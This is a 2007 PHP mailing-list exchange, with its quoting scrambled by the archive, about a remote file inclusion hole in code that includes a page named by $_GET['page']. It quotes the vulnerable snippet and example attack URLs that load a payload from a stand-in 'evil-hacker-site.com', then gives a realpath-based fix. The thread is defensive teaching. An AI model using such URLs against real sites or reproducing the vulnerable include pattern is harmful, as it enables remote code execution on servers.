Re: file_exists
| From: | Stut | Date: | Thu, 15 Nov 2007 13:16:46 +0000 |
| Subject: | Re: file_exists | ||
| References: | 1 2 3 4 5 6 7 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-264562@lists.php.net to get a copy of this message | ||
Instruct ICC wrote:
Actually in this example that would end up getting evil-payload.php.php - probably not what your evil mind wanted. You could do this... index.php?page=http://evil-hacker-site.com/evil-payload ...assuming you know it's gonna stick .php on the end. Alternatively you could do this... index.php?page=http://evil-hacker-site.com/evil-payload.php? Resulting in the appended .php being in the querystring. The easiest way to protect your code from this is to always always prefix the string with something as well as appending to it. For example... $page = dirname(__FILE__).'/'.$_GET['page'].'.php'; if (file_exists ($page)) {Date: Thu, 15 Nov 2007 00:20:52 +0000 From: stuttle@gmail.com To: philthathril@gmail.com CC: php-general@lists.php.net Subject: Re: [PHP] file_exists Philip Thompson wrote:Called like this? index.php?page=http://evil-hacker-site.com/evil-payload.php And the browser will probably url_encode for me if needed.I've run into similar problems where I *thought* I was looking in the correct location... but I wasn't. Take this for example....I really hope this is not a piece of production code. If it is then you might want to think very hard about what it's doing. If you still can't see a problem let me know! -Stut -- http://stut.net/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php$page = $_GET['page'];if (file_exists ("$page.php")) { include ("$page.php"); } ?>
include ($page);} But that doesn't prevent a malicious user including any PHP file on your server. $_GET['page'] should be one of a known set of values. At the very least it should be restricted to file in a particular directory. Something like the following would be much better (untested)... $page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php'); $expecteddir = realpath(dirname(__FILE__).'/inc'); if (substr($page, 0, strlen($expecteddir)) != $expecteddir) {
// Ideally return a 403 status here
die('Access denied');
}
// Now we know it's a file in the right directory
if (file_exists($page))
{
include($page);} else {
// Return a 404 status here
die('Resource not found');
}
That should lock the requested page to the given directory. If anyone can see any way around that I'd be interested in hearing about it.
-Stut
--
http://stut.net/